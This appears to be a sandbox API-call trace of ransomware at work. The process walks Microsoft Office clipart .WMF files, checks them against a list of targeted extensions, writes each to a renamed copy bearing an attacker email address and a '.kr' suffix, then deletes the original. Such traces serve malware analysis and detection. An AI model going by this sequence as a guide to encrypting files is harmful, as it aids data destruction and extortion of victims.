[0194.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.997] lstrlenW (lpString=".pdf") returned 4 [0194.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString=".xls") returned 4 [0194.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.998] lstrlenW (lpString=".xlsx") returned 5 [0194.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.998] lstrlenW (lpString=".ppt") returned 4 [0194.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.998] lstrlenW (lpString=".zip") returned 4 [0194.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.998] lstrlenW (lpString=".rar") returned 4 [0194.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString=".bz2") returned 4 [0194.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString=".7z") returned 3 [0194.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.998] lstrlenW (lpString=".dbf") returned 4 [0194.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.998] lstrlenW (lpString=".1cd") returned 4 [0194.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.998] lstrlenW (lpString=".jpg") returned 4 [0194.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.998] lstrlenW (lpString=".doc") returned 4 [0194.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.999] lstrlenW (lpString=".docx") returned 5 [0194.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.999] lstrlenW (lpString=".pdf") returned 4 [0194.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.999] lstrlenW (lpString=".xls") returned 4 [0194.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.999] lstrlenW (lpString=".xlsx") returned 5 [0194.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.999] lstrlenW (lpString=".ppt") returned 4 [0194.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.999] lstrlenW (lpString=".zip") returned 4 [0194.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.999] lstrlenW (lpString=".rar") returned 4 [0194.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.999] lstrlenW (lpString=".bz2") returned 4 [0194.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.999] lstrlenW (lpString=".7z") returned 3 [0194.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.999] lstrlenW (lpString=".dbf") returned 4 [0194.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.999] lstrlenW (lpString=".1cd") returned 4 [0195.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0195.000] lstrlenW (lpString=".jpg") returned 4 [0195.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.000] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.000] lstrlenW (lpString="HH00241_.WMF") returned 12 [0195.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.178] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1960) returned 1 [0195.178] CloseHandle (hObject=0x544) returned 1 [0195.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0195.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.179] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.179] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.180] GetLastError () returned 0x0 [0195.180] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0195.181] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0195.182] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.182] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.182] SetEndOfFile (hFile=0x520) returned 1 [0195.183] CloseHandle (hObject=0x520) returned 1 [0195.183] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.183] SetEndOfFile (hFile=0x544) returned 1 [0195.185] CloseHandle (hObject=0x544) returned 1 [0195.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0195.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.187] lstrlenW (lpString=".doc") returned 4 [0195.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.187] lstrlenW (lpString=".docx") returned 5 [0195.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.187] lstrlenW (lpString=".pdf") returned 4 [0195.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.187] lstrlenW (lpString=".xls") returned 4 [0195.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.187] lstrlenW (lpString=".xlsx") returned 5 [0195.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.187] lstrlenW (lpString=".ppt") returned 4 [0195.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.187] lstrlenW (lpString=".zip") returned 4 [0195.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.187] lstrlenW (lpString=".rar") returned 4 [0195.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.187] lstrlenW (lpString=".bz2") returned 4 [0195.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.187] lstrlenW (lpString=".7z") returned 3 [0195.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.187] lstrlenW (lpString=".dbf") returned 4 [0195.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.188] lstrlenW (lpString=".1cd") returned 4 [0195.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.188] lstrlenW (lpString=".jpg") returned 4 [0195.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.367] lstrlenW (lpString=".doc") returned 4 [0195.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".docx") returned 5 [0195.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.367] lstrlenW (lpString=".pdf") returned 4 [0195.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".xls") returned 4 [0195.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.367] lstrlenW (lpString=".xlsx") returned 5 [0195.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.367] lstrlenW (lpString=".ppt") returned 4 [0195.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.367] lstrlenW (lpString=".zip") returned 4 [0195.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.367] lstrlenW (lpString=".rar") returned 4 [0195.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.367] lstrlenW (lpString=".bz2") returned 4 [0195.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString=".7z") returned 3 [0195.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.368] lstrlenW (lpString=".dbf") returned 4 [0195.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.368] lstrlenW (lpString=".1cd") returned 4 [0195.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0195.368] lstrlenW (lpString=".jpg") returned 4 [0195.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.368] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.368] lstrlenW (lpString="HH00601_.WMF") returned 12 [0195.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.369] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1468) returned 1 [0195.369] CloseHandle (hObject=0x518) returned 1 [0195.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0195.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.370] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.370] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.371] GetLastError () returned 0x0 [0195.371] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0195.373] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0195.374] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.374] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.374] SetEndOfFile (hFile=0x538) returned 1 [0195.374] CloseHandle (hObject=0x538) returned 1 [0195.374] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.374] SetEndOfFile (hFile=0x518) returned 1 [0195.377] CloseHandle (hObject=0x518) returned 1 [0195.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0195.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.378] lstrlenW (lpString=".doc") returned 4 [0195.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.378] lstrlenW (lpString=".docx") returned 5 [0195.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.378] lstrlenW (lpString=".pdf") returned 4 [0195.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.378] lstrlenW (lpString=".xls") returned 4 [0195.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.378] lstrlenW (lpString=".xlsx") returned 5 [0195.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.378] lstrlenW (lpString=".ppt") returned 4 [0195.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.378] lstrlenW (lpString=".zip") returned 4 [0195.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.378] lstrlenW (lpString=".rar") returned 4 [0195.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.378] lstrlenW (lpString=".bz2") returned 4 [0195.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.378] lstrlenW (lpString=".7z") returned 3 [0195.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.378] lstrlenW (lpString=".dbf") returned 4 [0195.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.379] lstrlenW (lpString=".1cd") returned 4 [0195.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.379] lstrlenW (lpString=".jpg") returned 4 [0195.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.379] lstrlenW (lpString=".doc") returned 4 [0195.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString=".docx") returned 5 [0195.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.379] lstrlenW (lpString=".pdf") returned 4 [0195.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString=".xls") returned 4 [0195.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.379] lstrlenW (lpString=".xlsx") returned 5 [0195.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.379] lstrlenW (lpString=".ppt") returned 4 [0195.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.379] lstrlenW (lpString=".zip") returned 4 [0195.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.379] lstrlenW (lpString=".rar") returned 4 [0195.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString=".bz2") returned 4 [0195.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.379] lstrlenW (lpString=".7z") returned 3 [0195.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.380] lstrlenW (lpString=".dbf") returned 4 [0195.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.380] lstrlenW (lpString=".1cd") returned 4 [0195.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0195.380] lstrlenW (lpString=".jpg") returned 4 [0195.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.380] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.380] lstrlenW (lpString="HH00602_.WMF") returned 12 [0195.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.381] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1400) returned 1 [0195.381] CloseHandle (hObject=0x518) returned 1 [0195.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0195.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.382] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.382] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.387] GetLastError () returned 0x0 [0195.387] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x578, lpOverlapped=0x0) returned 1 [0195.389] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x580, lpOverlapped=0x0) returned 1 [0195.391] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.391] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.391] SetEndOfFile (hFile=0x538) returned 1 [0195.391] CloseHandle (hObject=0x538) returned 1 [0195.391] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.391] SetEndOfFile (hFile=0x518) returned 1 [0195.394] CloseHandle (hObject=0x518) returned 1 [0195.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0195.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0195.395] lstrlenW (lpString=".doc") returned 4 [0195.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.395] lstrlenW (lpString=".docx") returned 5 [0195.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.395] lstrlenW (lpString=".pdf") returned 4 [0195.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.395] lstrlenW (lpString=".xls") returned 4 [0195.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.395] lstrlenW (lpString=".xlsx") returned 5 [0195.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.395] lstrlenW (lpString=".ppt") returned 4 [0195.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 